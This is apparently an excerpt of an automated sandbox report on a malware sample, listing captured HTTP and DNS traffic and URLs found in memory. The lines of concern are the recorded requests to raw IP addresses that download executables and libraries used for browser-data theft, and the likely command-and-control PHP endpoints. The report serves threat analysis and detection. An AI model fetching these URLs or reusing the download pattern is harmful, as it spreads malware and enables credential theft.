Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=klwzB+LF78y8vvw&MD=F1fwkkPx HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/6180536652/nbea1t8.exe HTTP/1.1Host: 31.41.244.11

Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log2.10.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log2.10.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log2.10.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: tse1.mm.bing.net
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4775Host: login.live.com

Source: file.exe, 00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeCZ8
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/2C
Source: file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllzUM
Source: file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllhR
Source: file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dlllU
Source: file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllvRq
Source: file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2736555309.0000000001788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2775237203.0000000023B4C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpJDAFHJ.exeata;
Source: file.exe, 00000000.00000002.2775237203.0000000023B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpW
Source: file.exe, 00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpv
Source: file.exe, 00000000.00000002.2734481674.0000000000F57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 00000022.00000002.3407506473.0000000000B29000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3407506473.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3407506473.0000000000B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000022.00000002.3407506473.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpC
Source: skotes.exe, 00000022.00000002.3407506473.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 00000022.00000002.3407506473.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000022.00000002.3407506473.0000000000B29000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3407506473.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3407506473.0000000000B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6180536652/nbea1t8.exe
Source: skotes.exe, 00000022.00000002.3407506473.0000000000B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6180536652/nbea1t8.exe)A
Source: skotes.exe, 00000022.00000002.3407506473.0000000000B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6180536652/nbea1t8.exe;
Source: skotes.exe, 00000022.00000002.3407506473.0000000000B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6180536652/nbea1t8.exeCBO
Source: skotes.exe, 00000022.00000002.3407506473.0000000000B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6180536652/nbea1t8.exeGAS
Source: skotes.exe, 00000022.00000002.3407506473.0000000000B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6180536652/nbea1t8.exeXYZ0123456789
Source: skotes.exe, 00000022.00000002.3407506473.0000000000B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6180536652/nbea1t8.exeqA
Source: skotes.exe, 00000022.00000002.3407506473.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6180536652/nbea1t8.exeshqos.dll
Source: skotes.exe, 00000022.00000002.3407506473.0000000000B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/t8.exeJuNko/index.php
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2771640888.000000001DB14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2782063564.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: JEHIJJKE.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 8b013bdd-f270-4931-8c4f-1a15f3e5a078.tmp.11.dr, 3a2c69d2-c4cb-4ea5-ac91-4a1edb2b3955.tmp.11.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp.10.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2775237203.0000000023B42000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDHCGCAECAAECFH.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2775237203.0000000023B42000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDHCGCAECAAECFH.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.11.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://c.msn.com/
Source: JEHIJJKE.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2475802803.0000000023AED000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr, EBGCGHID.0.dr, Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2736555309.00000000017A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2475802803.0000000023AED000.00000004.00000020.00020000.00000000.sdmp, JEHIJJKE.0.dr, EBGCGHID.0.dr, Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 8b013bdd-f270-4931-8c4f-1a15f3e5a078.tmp.11.dr, 3a2c69d2-c4cb-4ea5-ac91-4a1edb2b3955.tmp.11.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 8b013bdd-f270-4931-8c4f-1a15f3e5a078.tmp.11.dr, 3a2c69d2-c4cb-4ea5-ac91-4a1edb2b3955.tmp.11.dr	String found in binary or memory: https://clients2.googleusercontent.com
